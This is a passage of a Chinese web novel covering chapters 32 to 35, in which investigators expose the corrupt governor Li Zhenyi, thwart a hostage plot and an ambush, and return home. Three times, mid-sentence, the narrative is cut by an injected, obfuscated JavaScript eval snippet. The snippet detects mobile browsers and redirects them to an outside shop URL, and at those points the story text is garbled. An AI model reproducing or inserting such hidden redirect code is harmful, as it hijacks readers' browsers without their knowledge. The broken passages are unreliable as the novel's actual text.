和外间的琳琅满目不同,里间不仅空间小,东西也格外少,巴掌大的地方只放了一个书架,一张桌子,和一把椅子。 谢烜赫略过桌椅,把目光放在书架上,只见书架上整齐地摆放着许多本册,他径直走过去,然后拿起一本册子翻看起来。 册子上密密麻麻写了许多字,记录了姓名与官职、银两数目和收贿日期,笔笔账目,清晰了然,是账册无疑了。 合上册子往书架上一扫,发现这样的本子大概有十多本,这得是多少民脂民膏堆积起来的,谢烜赫将账本全部拿起。 其实,这半年他通过祈安阁已经得到不少李振益确凿的贪污证据,起先他想过匿名呈报,但是最终放弃了。 因为你不知道在转手间会不会碰到与之牵扯的官员,最后不仅落得证据销声匿迹,还会让对方变得更加警惕。 账本拿完,他继续查看书架上的其他东西,发现除了各地的田契、地契再没其他的了,这令他有些失望。 原本想着这地方会有什么书信之类的东西,可是什么都没有,不知是李振益另匿他处了,还是阅后即焚了,他渴望得到背后主使的希望落空了。 …… 清晨,一则消息从大牢传出,说是狱卒巡查时发现李缨无故暴毙在狱中了。 闻此之事时,李振益正在家中喝茶,他搁下茶杯,露出悲伤的表情,叹息一声道:“也好,这个死法总比斩首示众强。” 沉默了一会,他起身说:“我去看看他吧。” 言毕,让人备了车马,动身去县衙了。 到了县衙,他径直往后堂停尸房走,最终在角落的硬木板床上看到了他的侄子。 毕竟是血浓于水的亲人,又跟在他身边近十年,虽清楚这死到底是怎么一回事,但心里多少有点难过。 他走上前去,静静地看着面前那张苍白的脸,不由红了眼眶。 正看着,他眼皮忽然一跳,发现李缨右边额角有块凸起,他上手摸了摸,又试着扯了扯,随着撕扯的动作竟然拉下一块面皮,面皮之下是一张陌生的死人的脸。 脑袋里的那根弦“啪”一下断裂,李振益恍然明白死的并非李缨,不禁痛恨自己太过大意,当时就该看着李缨吃完饭菜再走的。 这既然不是李缨,那李缨人在何处? 一想到李缨已经落到林文正的手上,他就如芒在背,怒不可遏。 如果只是为了查奸杀案,可不值得为一个死刑犯玩金蝉脱壳这一招,恐怕林文正此行来社郡,真正的目的是为了查他来的。 “去把李九给我叫来。”他双眼一眯,既然已经走到这一步了,那就没必要隐藏了。 32. 威逼 在驿馆用过午饭,黎书意和林静仪相约上街闲逛。 黎书意意兴阑珊地走着,心里头正想着事,眼下案子已经侦破,明面上的任务总算是完成了。 不过这也意味着他们必须得尽快找到李振益侵地贪污的切实证据,才能掌握主动权,否则在这只手遮天的地方,简直寸步难行。 昨天,堂审结束后没多久,她和林静仪随林伯父去了大牢,目前了解社郡内情,且还肯吐露真情的,只有那受害的一家三口,她和林静仪在林伯父和兄长询问闵氏时,帮忙记录他所述关于侵地贪污的证词。 提审结束后,兄长便没了踪影,昨夜亥时了都未归,今早他们在走廊匆匆见了一面,他同她说已经把李缨从牢里换出来了,并且从人口中得到了关键罪证,然后便匆匆离开了。 她很想了解更多的内情,但是考虑到兄长一路奔波,要在谢烜赫和林伯父两处斡旋,便没有问,想着等闲下来再说。 收回思绪,她抬眼扫向街道,街上更冷清了,近来走了太多遭,街景她已经看腻了。 关键是,部分铺子开着门却并不做生意,比如西边虽开着包子铺,却从未看见一个热包子,这显然就是占了别人的地盘来装样子来的。 她很想穿过那些细窄的巷道,戳破这个美好的骗局,把那些疮痍暴露出来,然而她看了一眼巡防的府兵,到底是作罢了。 正与林静仪漫无目的地走着,忽然她察觉出不对劲来,这后半条街的人似乎变了,而且还对她们频频侧目。 林静仪也发现了异常,拉着她的手低声叫她。 黎书意脑中警铃大作,说了一个“跑”字,便拉着林静仪往驿馆方向冲,然而她们的速度还是不够快,那些人在发现她们开始跑后也不再伪装了,从暗处抽出刀剑便向她们涌了过来。 她们出行就带了兰亭和玉绿两名侍女,还有两名侍卫,寡不敌众,顷刻间便被制服了,好在无人受重伤。 领头的人还算恭敬,走到她们面前,鞠了一个躬道:“还请两位姑娘跟我们走一趟。” “你们要做什么?”黎书意怒气冲冲地问。 领头人笑答:“只不过是郡守大人在家中设宴,想请两位姑娘赏脸用顿饭罢了。” 她当即便明白了,应该是李缨金蝉脱壳之事已被李振益知道了,所以便狗急跳墙了。 在实力绝对悬殊的情况下,硬碰硬不是上策,因此她并未打算反抗,心下想着待会儿见机行事。 只是步子才刚迈开,忽见一队人马从小巷中冲出,与挟持她们的人迅速缠斗起来,正摸不到头脑间,她在打斗的人群中发现了展元的身影,不由放松下来。 入社郡前两日,谢烜赫派人送了一封信给兄长,信中附带了一份名单,说李振益掌握着郡中近六成的兵力,府中又豢有杀手组织,如今社郡是李氏宗族的天下,他们一旦入郡便如瓮中之鳖,可派人去游说名单上那些尚未屈服的地方官员,方便日后里应外合。 第二日,兄长先修书一封,向陛下奏请申调就近兵力,然后令一名马术娴熟的军士快马加鞭送至孟章,接着又将官员名单交与展元,命他带上一队人马,秘密前往各县行游说之策。 黎书意的心情刚放松,忽见一持剑的杀手朝她和林静仪这边冲来,兰亭和玉绿见状立马挡在她们身前。 就方才他们掳人的做法来看,黎书意知道,目前他应当是不会伤她们性命的,不过,能不被抓住,最好就不要被抓住,她护着林静仪往自己人多的地方后退。 退了没几步,身前突然飞出一道影子,以为是另外的杀手来了,她灰心地闭眼。 等了半晌,发现既没有刀架在脖子上的冰凉之感,也没有胳膊被生拉硬拽的疼痛之感,于是诧异地睁开眼。 这一睁眼,她看见身前一步的位置站了一个人,观背影便知是谢烜赫,他还维持着出招的动作,而那个企图对她们动手的人已经倒在地上了。 “时侍卫!”前方,兰亭惊呼。 谢烜赫收了剑,转身径直朝她们走来,到了她跟前,拱手道:“见过二姑娘,是卑职来迟了。” 黎书意扬唇一笑,就她的生活环境而言,面临危险状况的时候并不多,因此他这“侍卫”大多时候是无用武之地的,剑没亮过几回,倒是替她做了许多端茶倒水的事。 这回总算像一个真的侍卫了,别说,这意气飞扬的模样还挺好看的。 这时,又闻兰亭疑惑地问道:“时侍卫,你不是去回故乡祭祖了吗?” 谢烜赫解释:“日前收到少将军的传信,说这边的局势不妙,于是我便快马加鞭赶过来,与城外的人马汇合一处了。” 黎书意在旁不做声,虽这话是假的,但必须在明面上过一过。 接着,她四下一扫,在他们说话的功夫,那批杀手人死的死伤的伤,已经彻底被展元所带之人控制了。 …… 申初,郡守府后堂便摆开筵席,桌上水陆毕陈,桌边坐了林文正、黎长策和李振益三人。 李振益含笑为客人斟酒,边斟边笑道:“林大人和少将军到社郡已有四五日了,还不曾单独邀约过,故今日特设此宴招待。” 两位客人也却之不恭,虽不算热络,但亦未冷场。 酒过三巡,菜过五味,李振益偷瞟一眼面前正在吃菜的两人,然后用眼神示意侍从。 侍从收到指示,唤进两个小厮来,他们一人手里抱着一个匣子。 “李大人,这是……”林文正面露疑惑地问道。 面对二人的疑惑,李振益笑而不语,抬手让侍从打开匣子。 侍从点头,他走到左边那名小厮跟前,打开长木匣从里面取出卷轴来,然后在人前徐徐展开。 只见画面上翠山起伏绵延,江河烟波浩淼,林木村野和舟桥楼阁布局井然有序,全画壮丽恢弘,笔墨工致。 林文正见画惊呼道:“这可是《万里山河图》?” “正是。”李振益点头,并趁着侍从折卷轴的空档解释道,“下官素闻林大人酷爱书画,这《万里山河图》是下官几年前机缘巧合下偶然所得,只是画虽珍贵,但下官见识浅薄,欣赏不出它的美,现愿意赠给能欣赏它的人。” 说话间,他偷眼观察林文正的反应,见他的目光在木匣上流连,不由露出满意的笑容,旋即示意侍从继续。 侍从来到另一名小厮跟前,这小厮怀抱的木匣比刚刚那个要大上许多,足有三尺长。 他打开了木匣,露出里面的七星宝剑,剑长三尺,剑鞘与剑柄精雕细刻,上以七宝嵌饰,美观且贵重。 展示完了,李振益道:“少将军年纪虽轻,但初上战场便俘虏安士敌兵八百余人,十分骁勇善战,在下一介文官,不通武艺,这剑留在我这里只能做摆设,宝剑自当赠英雄,还请少将军一定笑纳。” 价值千金的名画与宝剑,林文正看着木匣里的宝贝,这李振益不仅出手阔绰,还很会投其所好,难怪那么多官员都折服在他的诱惑之下,脑海里突然就蹦出早晨看到的那一串串数字。 今晨,他方才睡醒,正更衣时闻随从报说少将军有事找他。 昨日,结束堂审后,午间他便开始思索该从哪里入手查李振益侵地贪污之事,黎长策向他献了一计,说可以从李缨身上入手。 他是李振益的亲侄,当接班人一样养在身边近十年,一定知道李振益许多秘密,且他不学无术,缺乏主见,目前人也在他们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545691|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,可以许利与他,想办法让他倒戈。 林文正斟酌了一番,最后点头应允了,让黎长策放手去做,自己便从那对贫民夫妻上入手。 想着恐是有什么大发现报与他,于是他急匆匆梳洗毕,便往书房去了。 进屋之后,黎长策交给他几本账册,报说:“这是根据李缨的供述,我派人在李振益书房里的密室中找到的账册。” 林文正扫了眼案上的账册,数目约有十来本,每一本都有相当的厚度,他拿起最上边的那本看起来,刚扫了第一页便被上面的数字骇住,每一笔都是他年俸的好几倍,这是搜刮了多少民脂民膏。 据黎长策派去外城探查的人回传说,因房屋冲毁,社郡百姓缺衣少食,不少人为充饥甚至不得不上山挖野菜挖树根。 而当地的父母官呢,林文正看着白纸黑字的数字,这种强烈的对比令他怒从中来,压抑着情绪,他问说:“可与他们取得了联络?” 他们指的是社郡下辖县城中尚未屈服的那些地方官员们。 黎长策回道:“各方都已给了肯定的答复,现下正在赶来的路上。” “好。”林文正神色变得坚决,说罢他将账本扔回到案上。 就在这时,门外传来敲门声。 “进来。” 随从开门入屋,然后向他递上了一份帖子,“大人,这是李振益派人送来的。” 他接过拜贴。 “这恐怕是鸿门宴。”黎长策看着拜帖说。 林文正盯着手中的拜帖眸色渐深,沉吟了片刻,他打定主意道:“不如将计就计,今日便行动吧。” 就这样,他们来赴宴了。 从木匣上收回目光,他淡然拒绝道:“这礼物太过贵重,恕老夫不能收。” “无功不受禄,这剑还是留给其他需要的人吧。”一旁,黎长策附和道。 对面的人闻言笑容一僵,黎长策视若无睹,继续道:“来时我便想说了,李郡守还真有兴致,侄子无端死在狱中,今日居然还有心情宴客。” 李振益的动作因这话彻底顿住,旋即他将杯子放下,作出一副愁眉不展的模样,“本来是难过的,可今早去衙门后堂一看,发现那并非是我侄儿。” 说着,他的视线悠悠挪至林文正身上,意有所指道:“不知是谁干了这偷天换日的事,也不知我侄儿如今是生还是死。” “哦,我以为郡守并不在乎他的死活呢?”黎长策淡淡道,“听说郡守昨日曾出现在大牢后门,然后他当夜便出事了。” 事已至此,李振益索性卸下伪装,他看着面前的两人,放低姿态恳求道:“两位大人,我不过一个小小郡守而已,侵占土地还不如其他世家之万一,您们何必斩尽杀绝呢?” 闻听此言,沉默旁观许久的林文正义正辞严开口斥责道:“哼,食朝廷俸禄,自当为百姓做主,你一个小小的郡守居然鱼肉百姓,贪污受贿,难道不该得到处罚吗?” 李振益默不作声。 房间突然安静了下来。 “绿沉!”片息之后,黎长策忽朝外喊道。 绿沉应声从外面进来,同时从怀里掏出一样东西,黎长策接过,然后展示给李振益看,“大人还记得这是什么吗?” 看到那熟悉的账本,李振益的瞳孔猛地一缩,惊问道:“这,你们是如何拿到的?” 因为害怕,他面部肌肉抽动,神情慌张,接着愤然道:“那蠢货果然都和你们说了。” 下一刻,他抬起头,面色慢慢恢复平静,眼神也变得冷酷起来,咬牙切齿地说:“既如此,那就别怪我不客气了。” 看着失态的人,黎长策好整以暇地问:“哦,你打算杀了我们吗?” 33. 查抄 李振益当然恨不能杀了面前这两人,然而他们一个是当朝的御史大夫,一个是手握兵权的大将军之子,不论哪一个,在他的地盘出事都会引来巨大的麻烦,不到万不得已,他不想那么做,只是这罪名他绝不能认下。 好在他也没认为眼前的人是好贿赂的,所以还做了另一番准备,想到这,他恢复镇定,唇角一勾道:“看时辰,林姑娘和黎姑娘也该到了。” 此话一出,见林文正神情紧绷。 黎长策也脱口问道:“你把她们怎么了?” 果然抓住了软肋就是好办事,他笑说:“没怎么,只是请她们过来一道吃饭罢了。” “你这是在威胁我们?”黎长策冷声反问。 “是。”李振益坦然道,“我只是求您们放我一条生路。” 林文正接话:“怎么个放法?” “我愿意归还部分土地,并从私库里拿出十万两赈济灾民,只求大人从轻发落。” “好一个折中的措施。”林文正讽刺说,“这点银钱还不是你贪污的十中之一,再者,若人人皆像你这般,犯了大错以许利逃过,法度何在?” 谈话陷入僵局。 黎长策表面强装镇定,心里却是既愤怒又惊慌,因他知道会在今日的宴会上见分晓,所以来前特意留了几名侍卫在驿馆,未曾想小妹和林静仪还是被抓住了,眼下该怎么办? “林大人和少将军慢慢想?”见两人紧绷着脸庞,眼底隐约现出几丝不安,李振益越发从容了。 屋子里静悄悄的,突然外面传来一串脚步声,他笑了,“看来是两位姑娘来了。” 闻言,林文正和黎长策顺着他的目光朝门外看去,来的的确是黎书意和林静仪没错,但站在她们旁边的人并非李振益的人。 “你是谁?”李振益看着戴银色面具的人,愕然问道。 男人从容报说:“将军府侍卫,时野。” 怎会是将军府的人,李振益惊诧非常,他一面起身后退,一面摇头道:“怎么会……” 半晌,他转朝林文正和黎长策,恶狠狠道:“没想到你们还有后招,那就别怪我不客气了。” 说着,他快步后退,对埋伏在暗处的死士命令道:“把他们都抓起来!” 府中死士闻令而动,桌上的两人,以及刚进门的三人顷刻间便被包围了。 李振益正想笑,然而笑容还未露出,忽闻面具男道:“大人以为我是如何进来的?” 如何进来的?对呀,府内守卫森严,他一个外人竟然就这般长驱直入了,想到某个可能,他的神情又恢复慌张,“难道——” 下一刻,就见一群穿着盔甲的精兵从四面八方攻进来,最后将他们团团围住了,知道自己逃脱不了,李振益颓然倒地。 地上的人眼神呆滞,面色苍白,毫无血色,宛如被抽走了灵魂,黎书意冷眼旁观这个以百姓的血汗养肥的中年男人。 制服了街上的杀手和李氏族人,他们便马不停蹄地往郡守府赶。路上,透过谢烜赫与展元之口,她得知名单上八成的官员都被劝服了。 今晨,大家得了林伯父的行动命令,便率众从各条小路突围,准备包围郡守府,他们多的带了三五千人,少的带了一二千人,最后竟然凑出了两万多人。 为出其不意,攻其不备,解决了街上的府兵后,他们便刻意放轻了动静,最后大家几乎是悄无声息地聚到郡守府周围。 李振益虽豢养有杀手团,府中戒备森严,然而我众敌寡,在生死存亡面前,大部分人都选择缴械投降了,只少部分负隅顽抗,最后被他们迅速解决了,于是没什么硝烟便成功包围了郡守府。 内城的李氏族人被控制,郡守府被包围,李振益被逮捕,不过两个时辰的功夫,局势彻底扭转了。 一拿到主动权,林文正便雷厉风行地展开行动,他把从密室拿到的账本,以及从闵安和李缨口中获得的证词通通摆到李振益跟前,当场朗声宣布道:“臣林文正,奉圣上密旨,暗访社郡官吏侵地贪污一案,现已掌握郡守李振益贪污腐败、侵占民财之确凿证据,其恶行昭昭,人神共愤。今,奉圣命查抄此府,以正国法!” 话音方落,黎长策立刻有条不紊地指挥起来,他先吩咐绿沉率领一队精悍人马,对郡守府展开全面查抄,接着又命展元,并另外几个社郡官吏分头行动,奔赴郡中主城的各个角落,去查抄与李振益沆瀣一气的其他贪官污吏。 接到命令后,几路人马如汹涌的潮水一般,迅速而有序地分头行动,马蹄声、脚步声交织在一起,如雷贯耳,震慑人心。 黎书意站在郡守府阔大的庭院之中,她看着箱子一个个被搬出来,最后连院子都快放不下了。赤金纹银、五彩宝玉、古玩字画、珍贵兽皮……这些东西的价值恐怕逾百万两。 时已黄昏,在日落而息的时候整座城镇却弥漫着动荡不安的氛围,除了奔至各官吏府邸的军队,还有那些被控制行动范围的民众们,他们也纷纷涌进内城,一时整个街道上混乱不堪。 一直到深夜,一切才慢慢归于平静。 次日,清晨柔和的阳光穿透云层撒落人间,静谧的大街恢复了熙攘。 县衙大堂,上首林文正正襟危坐,堂下跪着待审的犯人,堂外挤满了围观的百姓,和之前的堂审一样,黎书意与林静仪也站在场外旁观。 林文正开始询问,被逮捕的官吏们被一个个带到堂上问话, 这个否认,那个推诿,堂上好一场大戏,直到将账本摆到了面前,抵赖不过了,他们才终于承认罪行,一一叙述起自己贪污的始末。 除了公堂,仪门那里也很热闹,门外设了一排桌子,桌上坐着五名记录员,他们负责记录百姓之言,目的是为了倾听民意,台子一搭建好,便排起长队,人多到看不到尾。 从早到晚,县衙人满为患,喧闹不止,到了晚膳时间,才得到片刻歇息。 由于牵涉的人员太多,账目金额巨大,短期内很难理清,林文正遂写了一份急报,详述这边的状况,请求陛下的下一步指示,派专人快马加鞭送报朝廷。 在等回信的过程中,林文正坐镇郡府,暂时接管社郡事务,他连同那批未曾参与贪污的清吏,今天去巡视河道,明日去田间走访,主持灾后重建和深切落实还田还山于民。 黎书意和林静仪也没闲着,两人带着兰亭和玉绿在街边开设的粥棚里施粥。 如此过了四日,孟章传回急报,陛下命林文正诛灭李氏三族,主谋押送至孟章,待账目和涉事人员细细核查完了再行刑。 原本直接在这处斩就可以了,却要大费周章押送孟章,陛下此举分明是为了杀鸡儆猴吧,给各地的世家豪强们提一个醒。 于是,在外度过了半月时间,他们启程回家了。 朝阳初升,黎明的曙光划破黯淡的夜幕,东方燃起了丝丝缕缕的红霞。 驿馆外,车马如长龙摆开,队首与队尾是骑兵,中部是马车与囚车。 黎书意踏出驿馆大门,虽然时辰还早,可是街上的路人却很多,百姓们夹道欢送,与来时的情景形成鲜明对比。 她扫过那一张张面黄肌瘦的脸,心里头一阵酸楚,尽管毒瘤已经拔出,可这地方要彻底恢复,恐怕还需要几年。 踏上马凳,她进车厢坐下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545692|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待林静仪入车之后,又候了半刻钟,队伍慢慢动了起来。 将车窗帘拉开一小条缝,黎书意随意扫看着街上的场景,见百姓们面带微笑连连道谢,这当中还有任氏和闵淑的身影。 当然,也不止有道谢声,还有咒骂声,通常还伴有砸东西的声音,他们皆是送给李氏三族的,直到到了路的尽头,声音才逐渐消弭。 行到城外,因人烟稀少,剩下的便只有马蹄声、车轮声以及鸟叫虫鸣了,这一切都让马车里的女孩们心情放松,于是便聊了起来。 “终于可以回家了!”兰亭忍不住感叹。 “是啊……”玉绿附和,“这样的经历我可不想再有了。” 走了半日,队伍停下来歇脚喂马。 因车上空间局限,午间日头炽热,坐了许久,此刻黎书意又是腰酸背痛,又是闷热难当,便决定下去活动活动筋骨。 掀开车帘,见外面层林叠翠、绿树成荫,更远处有一条清河,河上泛着粼粼微波。 下车以后,主仆四人往树下走,然后铺席而坐。 刚从樊笼里解脱出来,至此山清水秀之地,黎书意不禁心旷神怡,她闲看军士们各自忙碌,他们有的在河边喂马,有的在水中捉鱼,有的在林中猎野。 正漫无目的地四顾着,展元向她们走了过来,将一个水壶递给黎书意,“两位姑娘口渴了吧。” 黎书意确实有些渴了,道了句谢谢,她接过水壶,自己饮过之后,她擦干净壶嘴,把水壶递给了林静仪。 一旁,兰亭打开一个食盒来,这是今早送行时百姓送的点心,两位姑娘各从里面拿了一块,然后一口一口吃起来。 黎书意让两个小丫头也各拿一块,最后命她们把剩下的分给军士们。 捕鱼和打猎的收获颇丰,不一会儿在空地上搭起无数柴堆,将火点着,再将鱼和猎物放火上炙烤,不多时便闻见了烧烤的香味。 黎书意正与林静仪闲聊,兄长和谢烜赫走了过来,两人手上各拿了一只肥硕的大雁腿。 几乎没犹豫,黎书意接下谢烜赫手里的那一只,想着让兄长多在林静仪面前表现表现。 送了烧烤,两位少年也不多待,转回火堆旁继续烤新的去了。 野外烹饪条件限制多,但手里的雁腿无论是火候还是调味都刚刚好,她慢慢张嘴啃着。 看着蹲在地上一边烧烤一边和兄长说话的谢烜赫,她心下不禁叹道,真好,他们居然真的扳倒了李振益,虽然还未获得幕后凶手的信息,但总算是离目标更近了一步。 正想着,她的胳膊忽然被拐了一下,闻林静仪凑过来道:“这时侍卫虽然话少,但武艺高强,对你也衷心,看起来非常可靠。” 当然,毕竟他是谢烜赫嘛,文武双全的昭王世子,她在心里回道。 “展侍卫在你身边待了差不多三年,如今已是昭武校尉,他应该晋升得更快吧?” 晋升,这问题黎书意还真未想过,将军府的侍卫凭借能力和意愿,是有机会入黎家军的,并且一进去就不是普通的小兵小卒,最少也是队正或是校尉之类,然而谢烜赫只是形势所迫,暂时如此罢了。 又听林静仪问:“不知他和展侍卫,哪个更得你心意?” 这……黎书意本打算说展元的,毕竟谢烜赫又非真是她的侍卫,可再仔细一想,谢烜赫挺称职的,在外可保护她的安全,在内可照顾她的饮食起居,于是改口道:“都挺好的。” 说完,不知怎的,忽然又想到了晋升问题,虽然他不会晋升,可是他会离开啊,想当初展元随父出征了,她尚且不习惯,估计等他离开了,她也会不习惯的。 34. 行刺 夜晚,队伍在驿馆投宿。 用过晚饭,黎书意闲来无事,便想着不如整理笔记。 这段时日,每发生点可以写进《陈冤录》里的事情,她便会记上两笔,因为匆忙,所以写得很简略零散。 拿出装着记笔记的小匣子走到案边坐下,她重新梳理誊抄。 整理到一半,谢烜赫敲门进屋,给她送来一碗乌鸡汤,看见书桌上的纸笔,便问她:“在整理笔记?” “嗯。”她点头,忽而眼皮一抬,想起一事来,便问,“路上会不会遇到行刺?” 整理笔记相当于回溯经过,这让她恍然间忆起他们的敌人并非李振益,他只是一颗棋子而已,如今棋子受制,下棋的人说不定会有所行动。 “八成会。” 听到几乎等同于肯定的回答,黎书意不知是喜还是忧,要说喜,那便是可以借机引蛇出洞,摸清背后主使的身份,要说忧,负责押送的人是兄长,万一囚犯死伤惨重,他定然会被问责的。 观少女眉头轻锁,面有愁云,谢烜赫便问:“怕吗?” 黎书意心里自然是怕的,可是对上面前这双沉静的黑眸,心忽然就安定了几分,他的身手她很清楚,再说他筹谋半年,肯定做了万全的准备,兄长自不必说,黎家军军士的素质也毋庸置疑。 况且,他们不是已经配合着把李振益给逮捕了,不是吗?想到这些,便回道:“我相信你们。” 次日,卯时队伍又上路了。 他们一路日行夜歇,前两天一直平安无事,直到第三日,在途经一片密林的时候,数名身穿黑衣头戴面巾的刺客悄无声息如影冲出,他们直奔队伍中后段的囚车而去。 黎书意正在车厢里闭目养神,骤闻动静她急忙睁开眼睛,心知是刺客来了,她立刻绷紧了神经。 突如其来的意外惊动了马匹,车厢里的四位姑娘不由跟着左摇右晃起来。 下一刻,窗帘被掀开,露出谢烜赫关切的脸庞,他向里问道:“你怎么样?” 黎书意攀着车窗,在颠簸中回说:“不过马受惊罢了,交给车夫就好,你快去帮忙。” “好。”谢烜赫看了她一眼,然后依言离开。 黎书意并未合上窗帘,她的目光追随着谢烜赫的背影,一直跟到混战之处,只见蒙面黑衣人与黎家军的士兵们斗成一团。 因早有预备,兄长增加了看守囚车的兵力,所以眼下并未落于下风,只视野受限,她看不到有没有囚犯受伤被刺。 “嗖嗖嗖!” 局面本就混乱不堪,突见几只冷箭从密林深处飞出,接着便听见几声凄厉的尖叫,她的心顿时揪紧,唯恐李振益中箭。 展元发现林中还有人,立刻带上几名车马前翼的军士深入林中展开追击。 正看着,她的袖子被轻轻扯了两下,背后传来林静仪担忧的声音:“危险,你快放下帘子。” 遭遇追杀,黎书意自然是怕的,然而这不及对李振益背后之人的关心,只眼下的情况她无法帮忙,于是便依言放下了车窗帘,安静地等待着。 半晌,闻刀剑之声渐渐隐没,想局势应当是控制住了,她再按耐不住,便直接掀开车帘躬身走出了车厢,站在车辕上远望。 只见地上尸体横陈,兄长、谢烜赫、林伯父与其他兵将围在一起,不多时展元也从密林走出来,身后手下拖着两具尸体。 因视野被站着的人群给遮住了,她看不见具体的情况,少倾,队伍散开了,军士开始清理尸体,兄长、谢烜赫、林伯父等人也各自归位。 见谢烜赫回来,黎书意忙问道:“如何了?” 谢烜赫摇头。 因已经提前预知会有刺客,又做了部署,她是抱了期望的,现在听见这样的话,一时泄气,后想起刚才的尖叫,忙又问:“李振益可还活着?” “活着,李缨被箭射死了。” 还好,黎书意舒了一口气,只要李振益没死就还有可能。 对于李缨的死,她没半分惋惜,反而觉得大快人心,强占无力抵抗的女子,还将人给活活掐死了,这等恶霸就该斩首示众,可是他提供了许多有用情报,一想到他最后会功过相抵,得到宽大处理,她心中就不悦。 现在看来,是老天看不下去了。 她抬眼看着面前的人,虽面具遮盖了表情,但仅观那对黯然无神的黑眸,便知他心情不好,考虑到林静仪还在车上,她不便多说什么,只道:“别担心,会找到的。” 经过这次的刺杀,队伍不敢再耽搁,当日便加快了行进速度,仅用了三天时间,便直抵孟章了。 烈日高悬,空气燥热,在临城门约五里地时,队伍路过一个茶棚,便停下来小憩。 黎长策和林文正走进茶棚在茶桌坐下,黎书意和林静仪也从马车上下来,四人同坐一桌,不多会,茶棚老板手脚麻利地端上四碗凉茶。 兵卒们先喂了马,然后便就地坐下,也喝起茶棚伙计们送过来的凉茶。 歇了两刻钟,修整好了,他们准备动身。 因将军府与林府并不同路,未免入城后官道拥挤不便换乘,故黎书意和林静仪没有再同乘一车,就此分车而行。 临上马车前,林静仪向黎书意和黎长策道别。 她发现,自那日遭遇行刺之后,这对兄妹的情绪就变低落了,若说是担忧被皇帝问责,这实难说过去,一则死的并非主犯,二则两人都是临危不惧之人。 可若说是其他,她根本不知还有何事令他们愁的,她无从安慰,最后便什么也没说。 打点好了,队伍重新启程。不多时,便到了城门口。 一入城,见道旁人群挨山塞海,热闹程度不比迎战胜凯旋而归的军队少。 此去社郡,是奉皇命处理御状的,本就备受瞩目,最后不仅成功替苦主讨回公道,还一举瓦解了地方豪强,如此壮举自然造成轰动,受热情迎接合情合理。 黎书意坐在马车中,车外的议论不时飘进她耳朵。 “一直以为社郡是因为河道难修,所以才连年溃堤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545693|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到这其中竟有人为助长,用心何其险恶。” “是啊,多亏林御史还有黎少将军,否则那一郡的百姓还要受多少罪啊。” “那是,林御史廉洁奉公,少将军有勇有谋,两人配合无间,竟然仅用了七八日就侦破了如此大案,真是可喜可贺!” 听见这句话,黎书意抬手掀开车窗帘一角。 七八日吗?她看着马车旁身骑黑马的少年,让皇帝注意到社郡的问题,联合郡县的清吏们,策反李缨套取情报,找到定李振益罪的帐本……若没有他,恐怕再几月也不一定侦破,然而他的功劳没人知道。 心下正在感慨,见谢烜赫侧头瞧过来,她扒着窗帘布的手一顿,怎么她每次偷看很快就被他发现了,警觉性未免也太强了,她把视线挪到别处。 队伍在百姓的颂扬下徐徐前行。 行至半途,载着林静仪的马车分流而出,往东街去了,又过了两个路口,载着黎书意的马车分流而出,往西街去了,最后剩下的一列人马则直往皇城。 拐离了主干道,街上的民众渐少,黎书意的心情渐渐平复,又行了小半个时辰,马车终于停下。 知自己到家了,她迫不及待地走出车厢,见门口站着富春姑姑和另外几个奴仆,下马以后大家急忙迎上前来。 “二姑娘。”富春姑姑唤道。 黎书意问:“父亲可在?” 富春姑姑笑回:“大将军今晨便从大营赶回了,眼下正在前厅候着呢,让二姑娘回来了便和时侍卫去见他。” 半个多月未见,加上刚完成一件大事,黎书意想见父亲的心情相当迫切,她回身对兰亭道:“兰亭,你先带人将我的东西搬回院里,我这便去见父亲。” 说毕,她快步朝里走。 前厅,黎横天正一面喝茶,一面等待着子女归家,见女儿和世侄前后脚进屋,他用眼神示意沥泉关门。 “父亲。”一进门,黎书意便唤道。 谢烜赫也叫道:“黎世叔。” 黎横天点头应了,看着面前的两人,他欣慰地说:“这一行比我预想的要快上许多。” 虽只是去凑热闹的,但这话仍然令黎书意觉得自豪,三方配合,自然高效迅速。 “听闻回程途中遭遇了刺客,可问出什么来?” 她刚笑开,闻言顿时止住了笑容,侧头看向旁边的谢烜赫。 “未曾。”谢烜赫眸光暗淡,旋即简单叙述了一下那日的情景,“交手时我故意留了力,但对方派出的是死士,发现逃不了便咬破嘴里的药囊自尽了。” 黎横天听后敛目沉思,看来背后之人极为谨慎,感觉到两人低落的情绪,默了片刻,他开解道:“无妨,只要李振益还活着,背后之人还会再行动的,只要他行动了,就一定会露出马脚,不急于一时。” 停顿片息,他又说:“好了,你俩一路舟车劳顿,眼下该累了,各自回去休息吧。” 黎书意与谢烜赫两人齐齐点头,行了告别礼,然后他们一道出门了。 35. 月下 次日,黎书意重新拾起她丢了大半个月的故事。 